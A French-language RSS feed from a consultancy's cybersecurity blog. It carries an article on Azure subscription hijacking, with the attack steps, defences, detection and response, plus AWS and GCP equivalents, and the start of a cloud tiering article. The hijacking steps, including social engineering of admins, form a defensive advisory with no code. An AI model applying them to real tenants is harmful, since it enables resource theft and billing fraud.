<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Azure - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/azure/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/azure/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Tue, 07 Apr 2026 12:45:52 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Azure - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/azure/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Le subscription hijacking sur Microsoft Azure </title>
		<link>https://www.riskinsight-wavestone.com/2026/03/le-subscription-hijacking-sur-microsoft-azure/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/03/le-subscription-hijacking-sur-microsoft-azure/#respond</comments>
		
		<dc:creator><![CDATA[Diane Krychowski]]></dc:creator>
		<pubDate>Wed, 25 Mar 2026 16:38:54 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Digital privacy]]></category>
		<category><![CDATA[Gestion des risques]]></category>
		<category><![CDATA[Hijacking]]></category>
		<category><![CDATA[Risk management]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29452</guid>

					<description><![CDATA[<p>Le subscription hijacking est une attaque cloud identifiée d’abord sur Microsoft Azure : elle consiste pour un attaquant à réussir à transférer une subscription Azure de son organisation Azure d’origine vers une organisation sous contrôle malveillant. Cette attaque permet à l’attaquant de prendre le contrôle total sur la subscription et son contenu, et...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/03/le-subscription-hijacking-sur-microsoft-azure/">Le subscription hijacking sur Microsoft Azure </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"><span style="color: #000000;">Le <i>subscription hijacking</i> est une attaque cloud identifiée d’abord sur Microsoft Azure : elle consiste pour un attaquant à réussir à transférer une subscription Azure de son organisation Azure d’origine vers une organisation sous contrôle malveillant. Cette attaque permet à l’attaquant de prendre le contrôle total sur la subscription et son contenu, et même de <b>continuer à facturer</b> l’organisation d’origine pour l’utilisation qu’il fait de la subscription volée. </span></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><span style="color: #000000;">Rappel de ce qu’est une subscription Azure</span></h1>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Une subscription Azure (en français abonnement) est un conteneur de ressources et de services cloud associé à un tenant, qui permet de gérer la facturation, les accès et le déploiement des ressources Azure.</span></p>
<p style="text-align: center;"><span style="color: #000000;" data-wp-editing="1"><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-29483" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image1.png" alt="" width="863" height="686" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image1.png 863w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image1-240x191.png 240w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image1-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image1-768x610.png 768w" sizes="(max-width: 863px) 100vw, 863px" /></span><em><span style="color: #000000;">Architecture des ressources sur Azure</span></em></p>
<p> </p>
<h1 style="text-align: justify;"><span style="color: #000000;">Fonctionnement de l’attaque </span></h1>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><span style="color: #000000;">Sur Microsoft Azure, on considère la situation de départ suivante : </span></p>
<ul style="text-align: justify;">
<li><span style="color: #000000;">Il y a une organisation légitime (tenant victime), qui contient ou non une subscription. </span></li>
<li><span style="color: #000000;">Il y a une organisation malveillante (tenant de l’attaquant) sous le contrôle d’un attaquant. </span></li>
</ul>
<p style="text-align: justify;"><span style="color: #000000;">L’attaque suit alors les 4 étapes suivantes : </span></p>
<p><img decoding="async" class="aligncenter wp-image-29476 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Diapositive5-1-e1774449444360.jpg" alt="" width="780" height="560" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Diapositive5-1-e1774449444360.jpg 780w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Diapositive5-1-e1774449444360-266x191.jpg 266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Diapositive5-1-e1774449444360-54x39.jpg 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Diapositive5-1-e1774449444360-768x551.jpg 768w" sizes="(max-width: 780px) 100vw, 780px" /></p>
<p style="text-align: center;"><em><span style="color: #000000;">Etapes de l’attaque Azure</span></em></p>
<p> </p>
<ol style="text-align: justify;">
<li style="text-align: justify;"><span style="color: #000000;">L’attaquant doit être présent dans les deux organisations : Il compromet donc un administrateur interne au tenant victime pour faire inviter son compte externe dans le tenant, ou bien il convainc un administrateur non compromis de se faire inviter, sous un prétexte quelconque. Dans les deux cas, l’administrateur l’invite dans le tenant victime. </span></li>
<li style="text-align: justify;"><span style="color: #000000;">L’attaquant prend pour cible une subscription<b> existante</b> ou bien en crée une<b> nouvelle lui-même</b> (ce qui nécessite des permissions), associé à un compte de facturation existant. </span></li>
<li style="text-align: justify;"><span style="color: #000000;">L’attaquant obtient le rôle <b>Owner</b> sur la subscription visée. S’il l’a créée lui-même, il l’est déjà par défaut, sinon il doit le recevoir d’un administrateur. </span></li>
<li style="text-align: justify;"><span style="color: #000000;">L’attaquant effectue le transfert de la subscription de l’organisation de départ à l’organisation d’arrivée. </span></li>
</ol>
<p style="text-align: justify;"><span style="color: #000000;">La subscription est désormais sous le <b>contrôle complet </b>de l’organisation de l’attaquant et peut facturer l’ancien compte de facturation.  </span></p>
<p> </p>
<h1 style="text-align: justify;"><span style="color: #000000;">Pourquoi cette attaque est dangereuse ? </span></h1>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Cette attaque est potentiellement très dangereuse car elle est <b>instantanée</b> à réaliser si les conditions sont réunies, donne à l’attaquant un contrôle complet sur la ressource et son éventuel contenu, et est <b>irréversible</b> sans intervention du support. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Une attaque instantanée </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Par défaut, n’importe quel utilisateur <b>Owner</b> sur une subscription Azure, qui est également présent dans un autre tenant, peut effectuer le transfert sans restriction. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Des conséquences multiples et potentiellement irréversibles </span></p>
<p style="text-align: justify;"><span style="color: #000000;">La subscription passe sous le contrôle du tenant malveillant qui l’a récupérée. Il peut donc : </span></p>
<ul>
<li><span style="color: #000000;">Avoir le contrôle total dessus tandis que l’utilisateur d’origine n’y a plus accès </span></li>
<li><span style="color: #000000;">En extraire toutes les ressources ou informations </span></li>
<li><span style="color: #000000;">L’utiliser en faisant facturer l’utilisation à l’ancien moyen de facturation appartenant au propriétaire légitime </span></li>
</ul>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;"><strong>Note :</strong> Un intérêt du <i>subscription hijacking</i> est d’amener les ressources dans son propre environnement hors de contrôle du propriétaire légitime, pour s’en servir à son propre compte ou pour facturer des nouvelles utilisations à l’ancien propriétaire. Cependant, un simple transfert sans utilisation entraîne déjà des conséquences importantes : l’utilisateur aura perdu sa subscription, et donc aura perdu toutes les ressources, mais également la <b>structure</b> (rôles, assignations, règles), qui peut être très longue à reconstruire. </span></p>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Si le propriétaire légitime peut bloquer la facturation une fois qu’il réalise ce qu’il se passe, il n’y a en revanche pas de moyen de récupérer la subscription si l’attaquant a retiré tous les anciens <b>Owner</b> de celle-ci. La seule alternative devient alors de se tourner vers le support de Microsoft. </span></p>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">L’article suivant de <b>Derk van der Woude</b> décrit un cas de minage de cryptomonnaies effectué avec des subscriptions volées et facturé à l’ancien propriétaire : </span></p>
<p style="text-align: justify;"><span style="color: #000000;"><a style="color: #000000;" href="https://derkvanderwoude.medium.com/azure-subscription-hijacking-and-cryptomining-86c2ac018983">https://derkvanderwoude.medium.com/azure-subscription-hijacking-and-cryptomining-86c2ac018983</a> </span></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h1 style="text-align: justify;"><span style="color: #000000;">Comment s’en protéger ? </span></h1>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Pour se protéger d’un transfert illégitime de subscription, il existe des mesures préventives que l’on peut citer pour prévenir chaque étape de l’attaque : </span></p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #000000;">Mesures préventives </span></h2>
<p> </p>
<ol>
<li><span style="color: #000000;"><strong>Accès de l’attaquant aux ressources : politiques d’accès conditionnelles</strong></span></li>
</ol>
<p><span style="color: #000000;">Les politiques d’accès conditionnel basées sur le risque permettent de renforcer automatiquement la sécurité en adaptant les contrôles selon le niveau de risque détecté lors d’une connexion ou associé à un utilisateur. Elles permettent par exemple de bloquer les accès suspects ou d’imposer une authentification multi facteur (MFA). Ainsi, l’accès d’un invité suspect pourrait être bloqué. </span></p>
<p><span style="color: #000000;"><b>      2. Montée en privilège/obtention du rôle Owner : </b><b>gestion des identités privilégiées</b> </span></p>
<p><span style="color: #000000;">La gestion des identités privilégiées (Privileged Identity Management, PIM)​ permet d’accorder des rôles à privilèges élevés seulement quand cela est nécessaire, via une élévation temporaire, approuvée et justifiée. Il réduit ainsi les risques liés aux permissions excessives grâce au contrôle, au suivi et aux notifications d’activation. </span></p>
<p><span style="color: #000000;"><b>      3. Transfert de la subscription : </b><b>politique de subscription (subscription policy)</b> </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Une <i>subscription policy</i> permet de bloquer le transfert d’une subscription Azure vers ou hors du tenant afin d’éviter les détournements. Elle s’implémente via Azure Policy en définissant puis assignant une règle qui restreint les actions de transfert, avec des revues régulières pour garantir son efficacité. Elle s’applique à toutes les subscriptions se trouvant dans son scope d’assignation. </span></p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #000000;">Solutions de détection </span></h2>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Certaines solutions permettent de détecter cette attaque sur Microsoft Azure : </span></p>
<ul>
<li><span style="color: #000000;"><b>UEBA (Sentinel) :</b> détecte les comportements anormaux (connexions inhabituelles, accès sensibles, modifications inattendues). Cela permet d’identifier rapidement un compte compromis avant qu’il ne puisse détourner une subscription. </span></li>
<li><span style="color: #000000;"><b>Privileged Identity Management (PIM)</b><b>​ </b>: contrôle les élévations de privilèges et peut déclencher des alertes en cas d’activation d’un rôle privilégié. </span></li>
<li><span style="color: #000000;"><b>Alerte Sentinel personnalisée </b>: Peut surveiller spécifiquement les événements indiquant un transfert de subscription. La règle analyse régulièrement les logs <i>AzureActivity</i> et déclenche immédiatement une alerte lorsqu’une opération suspecte comme le déplacement d’une subscription est détectée. </span></li>
</ul>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:720}"> </span></p>
<h2 style="text-align: justify;"><span style="color: #000000;">Stratégie de résilience </span></h2>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">La stratégie de résilience à mettre en place est une sauvegarde (backup) des ressources qui permet de les restaurer en cas de détournement effectif de la subscription. </span></p>
<ol>
<li><span style="color: #000000;">Isoler les sauvegardes Azure Backup dans une subscription dédiée réservé aux backups avec des règles de sécurité strictes </span></li>
<li><span style="color: #000000;">Protéger les sauvegardes : activer le soft delete (pas de suppression définitive immédiate), la suppression réversible, l’immutabilité (empêche la modification ou la suppression pendant une période), des verrous anti-suppression </span></li>
<li><span style="color: #000000;">Multiplier les copies, éventuellement vers un autre tenant </span></li>
<li><span style="color: #000000;">Sauvegarder également la gouvernance (configurations Entra ID via Microsoft 365 DSC, configuration d’infrastructure avec Terraform) </span></li>
<li><span style="color: #000000;">Automatiser la reconstruction avec l’infrastructure-as-code (Blueprints, ARM, Terraform) </span></li>
<li><span style="color: #000000;">Tester régulièrement les backups </span></li>
</ol>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:720}"> </span></p>
<h1 style="text-align: justify;"><span style="color: #000000;">Réaction à l’attaque </span></h1>
<p style="text-align: justify;"><span style="color: #000000;">Subir cette attaque revient à perdre sa subscription Azure. Auquel cas, les options sont limitées. Il faut très rapidement : </span></p>
<ul>
<li><span style="color: #000000;">Bloquer les accès de l’attaquant et révoquer les éventuels secrets compromis dans l’attaque </span></li>
<li><span style="color: #000000;">Contacter le support Microsoft Billing pour bloquer la facturation </span></li>
<li><span style="color: #000000;">Contacter le support Microsoft (technique/Azure) pour tenter de récupérer la subscription </span></li>
</ul>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h1 style="text-align: justify;"><span style="color: #000000;">Et sur les autres providers ? (AWS et GCP) </span></h1>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Une fois cette attaque identifiée sur Azure, la question de son existence (ou d’un équivalent) sur AWS et GCP se pose alors. Le concept de subscription n’existe pas en tant que tel sur ces deux fournisseurs cloud, cependant, des unités hiérarchiques équivalentes jouent le même rôle. S’il était possible de les migrer vers une autre organisation AWS et GCP de manière illégitime, ce serait un équivalent du <i>subscription hijacking</i> sur ces fournisseurs.  </span></p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #000000;">AWS : un équivalent possible mais avec des conditions distinctes </span></h2>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Sur AWS, l’équivalent hiérarchique de la subscription est le compte AWS : un compte AWS, présent dans une organisation, contient des utilisateurs IAM, des ressources et c’est à son niveau que la facturation est gérée, <b>si elle n’est pas consolidée par le compte de gestion.</b> </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Le but d’un attaquant serait donc ici de faire migrer ce compte AWS vers une autre organisation. </span></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h3 style="text-align: justify;"><span style="color: #000000;">Chemin à suivre </span></h3>
<p style="text-align: justify;"><span style="color: #000000;">Le chemin à suivre pour effectuer la migration est le suivant : </span></p>
<p style="text-align: center;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"><img decoding="async" class="aligncenter size-full wp-image-29505" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image8.png" alt="" width="960" height="498" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image8.png 960w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image8-368x191.png 368w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image8-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image8-768x398.png 768w" sizes="(max-width: 960px) 100vw, 960px" /><em>Etapes de l&rsquo;attaques AWS </em></span></p>
<p style="text-align: justify;"><span style="color: #000000;">Un compte AWS contient : </span></p>
<ul>
<li><span style="color: #000000;">Un utilisateur root, unique, qui dispose de tous les droits sur le compte </span></li>
<li><span style="color: #000000;">Des utilisateurs IAM disposant de droits IAM attribués</span></li>
</ul>
<p style="text-align: justify;"><span style="color: #000000;">Dès lors, deux stratégies sont envisageables pour l’attaquant : parvenir à compromettre le root (auquel cas il peut effectuer toute action) ou réussir à monter en privilèges sur un utilisateur IAM classique. Cependant, l’approbation du root reste requise pour l’étape 1 (il peut par exemple avoir été manipulé pour effectuer cette action). De plus, si des guardrails ou des stratégies de contrôle des services (Service Control Policies) sont appliqués, le compte root doit toujours valider l’opération. Par conséquent, un utilisateur IAM, même avec des droits élevés, ne peut pas toujours migrer un compte de manière autonome. </span></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h3 style="text-align: justify;"><span style="color: #000000;">Des conséquences similaires à l’attaque Azure ? </span></h3>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Il est établi que sur Azure, le transfert de la subscription entraînait une perte de contrôle totale sur celui-ci. Ici, sur AWS, deux nuances sont à introduire : </span></p>
<ul>
<li><span style="color: #000000;">D’abord, comme le montre le schéma précédent, la facturation doit impérativement être changée (vers un mode de facturation indépendant) pour permettre la migration du compte sur une autre organisation, ce qui élimine le risque de se voir facturer des services par l’attaquant <b>après</b> la migration</span></li>
<li><span style="color: #000000;">Ensuite, dans le cas théorique où c’est un utilisateur IAM non-root qui a réalisé la migration du compte (en ayant recueilli toutes les permissions nécessaires), alors cet utilisateur n’a pas un contrôle total sur ce compte, même en le laissant indépendant (standalone), ou en le faisant rejoindre une organisation sous son contrôle. Les comptes AWS ont en effet une forte indépendance, et le fait d’avoir un compte AWS dans son organisation ne permet pas d’en faire ce que l’on souhaite (accéder à certaines ressources, le supprimer) si l’on ne dispose pas du root</span></li>
</ul>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360}"> </span></p>
<h3 style="text-align: justify;"><span style="color: #000000;">Conclusion </span></h3>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Si l’attaque semble théoriquement possible sur AWS, elle nécessite plus de conditions et entraîne moins de conséquences négatives définitives que sur Azure. En définitive, le seul moyen de prendre le contrôle total d’un compte AWS reste de disposer de son root. </span></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h2 style="text-align: justify;"><span style="color: #000000;">GCP : un équivalent possible mais plus difficile à réaliser </span></h2>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Sur GCP, l’architecture est plus proche d’Azure. L’équivalent de la subscription Azure est le projet GCP. Ici, le but de l’attaquant serait donc de faire migrer un projet d’une organisation GCP à une autre.  </span></p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #000000;">Chemin à suivre </span></h3>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Les étapes à suivre pour effectuer la migration sont les suivantes : </span></p>
<p style="text-align: justify;"><span style="color: #000000;">  <img loading="lazy" decoding="async" class="aligncenter size-full wp-image-29489" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image3.png" alt="" width="863" height="614" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image3.png 863w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image3-268x191.png 268w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image3-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image3-768x546.png 768w" sizes="auto, (max-width: 863px) 100vw, 863px" /></span></p>
<p style="text-align: center;"><em><span style="color: #000000;">Etapes de l’attaque GCP </span></em></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h3 style="text-align: justify;"><span style="color: #000000;">Des conséquences similaires à l’attaque Azure ? </span></h3>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Les conséquences en cas de migration de projet GCP sont les mêmes que pour une subscription Azure : une perte de contrôle totale sur l’élément, et le risque de se voir facturer une utilisation de l’attaquant si la facturation n’a pas été modifiée. </span></p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #000000;">Conclusion </span></h3>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Un détournement de ressources similaire au <i>subscription hijacking </i>visant Microsoft Azure est donc théoriquement possible sur GCP. Les conditions plus strictes qui sont nécessaires rendent cependant ce cas moins probable, mais il doit être considéré. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Résumé des conséquences </span></p>
<p style="text-align: justify;"><span style="color: #000000;">  <img loading="lazy" decoding="async" class="aligncenter size-full wp-image-29499" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image11.png" alt="" width="992" height="498" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image11.png 992w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image11-380x191.png 380w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image11-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/03/Image11-768x386.png 768w" sizes="auto, (max-width: 992px) 100vw, 992px" /></span></p>
<p style="text-align: center;"><em><span style="color: #000000;">Résumé des conséquences</span></em></p>
<p> </p>
<h1 style="text-align: justify;"><span style="color: #000000;">Conclusion </span></h1>
<p> </p>
<p style="text-align: justify;"><span style="color: #000000;">Le <i>subscription hijacking</i> doit donc être considéré comme une attaque d’importance aux conséquences graves et à fort impact pour les organisations ou entreprises touchées. Protéger les unités hiérarchiques gérant la facturation et les ressources contre tout déplacement ou migration illégitime (les mesures vont varier suivant le fournisseur cloud visé), et prévoir des processus de remédiation et de sauvegarde en cas de perte est crucial pour la sécurité d’une organisation. </span></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p style="text-align: justify;"><span style="color: #000000;" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/03/le-subscription-hijacking-sur-microsoft-azure/">Le subscription hijacking sur Microsoft Azure </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/03/le-subscription-hijacking-sur-microsoft-azure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sécurité orientée cloud : Adaptation à une nouvelle réalité</title>
		<link>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/#respond</comments>
		
		<dc:creator><![CDATA[Gautier PLANTE]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 09:08:21 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ABAC]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Cloud security]]></category>
		<category><![CDATA[Coeur de confiance]]></category>
		<category><![CDATA[Coeur de confiance Cloud]]></category>
		<category><![CDATA[Cybersécurité]]></category>
		<category><![CDATA[enterprise access model]]></category>
		<category><![CDATA[IAM Cloud]]></category>
		<category><![CDATA[Landing Zone]]></category>
		<category><![CDATA[REX RedTeam]]></category>
		<category><![CDATA[sécurité cloud]]></category>
		<category><![CDATA[Socle de sécurité cloud]]></category>
		<category><![CDATA[Tiering]]></category>
		<category><![CDATA[Trust Core Cloud]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28879</guid>

					<description><![CDATA[<p>Les audits et missions de redteam menés par Wavestone ont mis en évidence un déséquilibre frappant entre la maturité des protections des infrastructures on-premise et celles déployées dans le cloud. Les infrastructures on-premise sont généralement bien identifiées, maîtrisées et protégées...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/">Sécurité orientée cloud : Adaptation à une nouvelle réalité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Les audits et missions de redteam menés par Wavestone ont mis en évidence un <strong>déséquilibre frappant entre la maturité des protections des infrastructures on-premise et celles déployées dans le cloud</strong>. Les infrastructures on-premise sont généralement bien identifiées, maîtrisées et protégées selon des standards éprouvés, tandis que leurs équivalents cloud restent souvent sous-évalués en termes de risques et par conséquent insuffisamment sécurisés.</p>
<p> </p>
<h2>Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?</h2>
<h3>Évolution du modèle de sécurité</h3>
<p>Dans les environnements on-premise, en particulier <strong>Active Directory</strong>, la sécurité des infrastructures s&rsquo;appuie généralement sur une <strong>segmentation stricte en trois niveaux (T0, T1 et T2)</strong> permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.</p>
<p>Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :</p>
<ul>
<li><strong>Les portails sont centralisés</strong>: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.</li>
<li><strong>La frontière entre les niveaux d’administration est complexifiée</strong>: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.</li>
</ul>
<p>Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (<span style="color: #333399;"><a style="color: #333399;" href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model">décrit ici</a></span>), mettant en évidence 3 principaux plans : le <em>Control Plane</em>, <em>Management Plane</em> et <em>Data Plane</em>.</p>
<p>Ce modèle reprend la <strong>criticité « en cascade »</strong>, mais simplifiant :</p>
<ul>
<li>les 3 tiers en <strong>2 accès : administrateur vs utilisateur</strong><strong> </strong>;</li>
<li>les flux d’administration en accès au portail ;</li>
<li>la criticité des serveurs en les centralisant dans le <em>Data plane.</em></li>
</ul>
<p>Une illustration de l’ancien et du nouveau modèle :</p>
<figure id="attachment_28880" aria-describedby="caption-attachment-28880" style="width: 1669px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28880" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud.png" alt="Du modèle en trois tiers à la complexité du cloud" width="1669" height="818" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud.png 1669w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-390x191.png 390w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-768x376.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-1536x753.png 1536w" sizes="auto, (max-width: 1669px) 100vw, 1669px" /><figcaption id="caption-attachment-28880" class="wp-caption-text"><em>Du modèle en trois tiers à la complexité du cloud</em></figcaption></figure>
<p> </p>
<p>Ce nouveau modèle met particulièrement en valeur 3 éléments :</p>
<ul>
<li>L’<strong>identité</strong> de l’utilisateur : accès privilégié vs accès utilisateur ;</li>
<li>La <strong>donnée</strong> et les services : au détriment des serveurs ;</li>
<li>La <strong>méthode d’accès</strong> aux portails web d’administration.</li>
</ul>
<p>L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.</p>
<p>Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où <strong>ce SI aura été virtualisé sur un Cloud</strong> afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.</p>
<p>Ces entreprises doivent donc traiter avec un <em>tiering model</em> désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.</p>
<p>Pour la suite de cet article, nous prendrons comme exemple la société <strong>Tartampion</strong>, qui vient de terminer un programme <strong>Move-to-Cloud de 3 ans sur AWS</strong>. Le bilan est le suivant :</p>
<ul>
<li>Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées</li>
<li>Les Data Center ont été fermés</li>
<li>Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.</li>
</ul>
<p> </p>
<h3>Un SI hybride et virtualisé qui pose problème</h3>
<p>Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le <em>management plane</em>) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.</p>
